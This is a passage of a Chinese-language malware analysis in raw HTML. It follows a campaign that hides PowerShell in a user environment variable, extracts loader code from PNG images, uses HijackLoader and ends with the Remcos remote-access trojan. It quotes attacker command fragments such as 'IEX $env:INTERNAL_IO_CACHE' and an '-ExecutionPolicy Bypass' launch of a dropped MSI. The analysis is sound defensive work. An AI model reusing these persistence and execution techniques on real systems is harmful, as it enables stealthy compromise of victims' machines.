&#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">图3 脚本中的持久化功能代码</span><o:page></o:page></p><p style="text-indent: 2em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">（2）</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">通过 </span><code><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">WScript.Shell.Environment(&#34;User&#34;)</span></code><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"> 将以上提到的PowerShell脚本写入用户环境变量 </span><code><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">INTERNAL_IO_CACHE</span></code><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">，供后续隐藏 PowerShell 使用 </span><code><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">IEX $env:INTERNAL_IO_CACHE</span></code><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"> 动态执行。</span></p><p style="text-align: center;"><span style="font-family: Calibri;font-variant: normal;text-transform: none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.13672496025437203" data-w="1258" style="width: 553.54px;height: 75.67px;" src="https://wechat2rss.xlab.app/img-proxy/?k=9bd829ff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXJJllsJcibia6wgqt9H4KFibM9XXgOxAqReiblHXEWMxWV1iaGR9zFQWtHXBcLz7IAibw9z2g4PqfsAeFwCtWKELJiaNqCcArl4PaCibdA%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/></span></span></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">图4 设置环境变量</span></p><p style="text-indent: 2em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">解码和去混淆后的</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">Powershell脚本的内容如下：</span></p><p style="text-align: center;"><span style="font-family: Calibri;font-variant: normal;text-transform: none;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-ratio="0.533203125" style="width: 552.94px;height: 294.87px;" data-w="2048" src="https://wechat2rss.xlab.app/img-proxy/?k=80a0f60f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXLStqrPgW2Zb15iaYbXLIp3ZIax2lsDKph3mu0QJE9m26ia4rEQyeCa2T28H93V8UXcxMC9ibmzLamcKqeFBEKicsjMEoT0OBqqJ3c%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/></span></span></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">图5 去混淆处理后的Powershell脚本</span></p><p style="text-indent: 2em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">它实现的功能包括：</span></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-left: 21pt;text-indent: 0px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">下载 PNG 图片的原始字节</span></p></li><li><p style="margin-left: 21pt;text-indent: 0px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">将图片转为字符串，用 IN- 和 -in1 作为标记，提取两者中间的数据</span></p></li><li><p style="margin-left: 21pt;text-indent: 0px;text-align: justify;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">通过字符替换、反转、base64解码等步骤解码出隐藏数据（其功能为下载和释放后续载荷）</span></p></li><li><p style="margin-left: 21pt;text-indent: 0px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">在内存中加载 .NET 程序集</span></p></li><li><p style="margin-left: 21pt;text-indent: 0px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">传入参数，其中包括从远程下载的另一个PNG文件（后续载荷）</span></p></li><li><p style="margin-left: 21pt;text-indent: 0px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">找到 Fiber.Program 类和Main 方法进行调用</span></p></li></ul><p style="text-align: center;"><span style="font-family: Calibri;font-variant: normal;text-transform: none;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-ratio="0.26515151515151514" style="width: 553.74px;height: 146.8px;" data-w="792" src="https://wechat2rss.xlab.app/img-proxy/?k=7b84b333&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXLicW8HRicvr5mBGhvcBfe0fl28McGweGoicXG1oqnwoH5ebnaWokkJ02jSsgnBzTp8YNQuEyPRhBSBGWtwRHKbRCeXic6g0IwtmYI%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/></span></span></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">图6 解码出的.NET程序</span></p><p style="text-align:left;mso-pagination:widow-orphan;"><span style="text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">（</span></span><span style="text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">3</span></span><span style="text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">）</span></span><span style="text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">通过 WMI 隐式启动一个 PowerShell 进程，执行存放在环境变量 </span></span><code style="text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">INTERNAL_IO_CACHE</span></code><span style="text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"> 中的以上恶意 PowerShell脚本，并在执行后删除该环境变量以清除痕迹。</span></span></p><p style="text-align: center;"><span style="font-family: Calibri;font-variant: normal;text-transform: none;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-ratio="0.15078769692423105" style="width: 553.21px;height: 83.4px;" data-w="2666" src="https://wechat2rss.xlab.app/img-proxy/?k=5d65b3f5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXIRVbIsHG67ViatmPiaic6In2wiaYibSE1WIRybSFicibh7O0pticWkESAY9ibVxAK9kLAMibfOqobeyreo9uSIiciaEp9ibhwHzZib30MbibgcjE%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/></span></span></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">图7</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">执行脚本并清除环境变量</span></p><p style="text-indent: 2em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">执行以上脚本后，下载第二阶段载荷并通过如下进程链进行释放：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="makefile"><code><span leaf=""><span class="code-snippet__section">C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe-&gt;</span></span></code><br/><code><span leaf=""><span class="code-snippet__section">C:\windows\Sysnative\cmd.exe-&gt;</span></span></code><br/><code><span leaf=""><span class="code-snippet__section">C:\windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe</span></span></code><br/><code><span leaf="">–ExecutionPolicy Bypass Start-Process </span></code><br/><code><span leaf="">-FilePath “%userprofile%\AppData\Local\Temp\APVJBAKY.msi”</span></code><br/></pre></p><p style="border-width: medium;border-style: none;border-color: currentcolor;border-image: initial;padding: 0cm;text-indent: 2em;" data-pm-slice="0 0 []"><span lang="EN-US" style="font-size: 12pt;font-family: 仿宋;"><span leaf="">释放出的文件列表如下：</span></span></p><p style="text-align: center;"><span style="font-family: Calibri;font-variant: normal;text-transform: none;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-ratio="0.48533007334963324" style="width: 553.74px;height: 268.74px;" data-w="818" src="https://wechat2rss.xlab.app/img-proxy/?k=eaa9b351&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXIh4yvMm8lp7Y1cT5mVxU3tLORWzHety8MKMEzuVQ5zv9eS7GT0STDepfxroibfRiaUHvbHIADX4UQ28Uy6PLzHibXmaXic7o7gHYg%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/></span></span></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">图8 释放出的后续载荷</span></p><p style="text-indent: 2em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">其中Qt5Network.dll为恶意动态链接库文件，其他PE文件为合法文件，而.dat和.rc文件为经压缩和加密的恶意载荷数据文件。</span></p><h3 style=""><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-weight: bold;">1.3 载荷加载过程</span></span></h3><p style="text-align: left;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span style="font-family: Calibri;font-variant: normal;text-transform: none;"><o:p><span leaf="">文件列表中的恶意dll和两个数据文件共同构成了Hijackloader，这是该攻击组织近年来常用的加载器。Hijackloader的主要特点是以模块化运作和多次反复的注入行为。在本案例中，该Hijackloader的行为如图9所示。</span></o:p></span></p><p style="text-align: center;"><span style="font-family: Calibri;font-variant: normal;text-transform: none;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-ratio="0.2780229479258605" style="width: 553.74px;height: 153.94px;" data-w="1133" src="https://wechat2rss.xlab.app/img-proxy/?k=41fb5cfd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXKuLictrzJNcK4xWJkL10kPAY3ePzIeEy8PrFRm5iaFOM0gCtM4b2AcLToDL9pRukSEiaRvf04bFWYhrVGeib1tiaKtnulB9fWkeJmg%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/></span></span></p><p style="text-align:center;mso-pagination:widow-orphan;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">图9</span><span leaf="">Hijackloader加载流程</span></span></p><p style="text-indent: 2em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">我们提取了该加载器的所有模块，与该组织2025年的攻击活动一致，本次活动中也使用到了功能相同的35个模块。更加详细的分析可以参考报告[1]。</span></p><p style="text-align: center;"><span style="font-family: Calibri;font-variant: normal;text-transform: none;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-ratio="0.18181818181818182" style="width: 553.74px;height: 100.67px;" data-w="1155" src="https://wechat2rss.xlab.app/img-proxy/?k=7b7be720&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXIPmpeCXENL5mcOib9Wria3ClbVG3ia4ibhicpyzXo9xgxuV6FPAW5V2ht5Zk5QCV5icTc6eSNDFicnpIQKQj16rKsY4cPjmA8zfceNQQ%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/></span></span></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">图10 提取出的Hijackloader功能模块</span></p><p style="text-indent: 2em;text-align: justify;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">最终的恶意载荷被注入到合法程序%ALLUSERSPROFILE%\PlaneMon.exe中。</span></p><h2 style="text-align: justify;text-indent: 0px;margin-bottom: 16px;margin-top: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="color: rgb(190, 25, 31);font-weight: bold;">2. 最终载荷</span></span></h2><h2 style="text-align: justify;text-indent: 2em;margin-bottom: 16px;margin-top: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">最终加载的恶意载荷是Remcos远控木马客户端，这是最早由一家名为 Breaking Security 的公司以合法远程管理工具的名义发布的远控程序，但后来被大量攻击者和黑产团伙滥用。</span></h2><p style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">在本次活动中，攻击者使用的Remcos版本为6.1.2</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">Pro，它首先从名为“SETTINGS”的PE资源中加载和解密出配置。</span></p><p style="text-align: center;"><span style="font-family: Calibri;font-variant: normal;text-transform: none;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-ratio="0.38636363636363635" style="width: 553.74px;height: 213.94px;" data-w="880" src="https://wechat2rss.xlab.app/img-proxy/?k=a349a16a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXIY1G6kFBx6ib4E0vn0lLILY6pp5oe5dJp6sIGwAB6qianicO4hsDosmo7ricaZm08JLhuSS3t7mhI2u0ZCdk3mWa8kSHhZH42DqW8%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/></span></span><o:page></o:page></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, &#34;PingFang 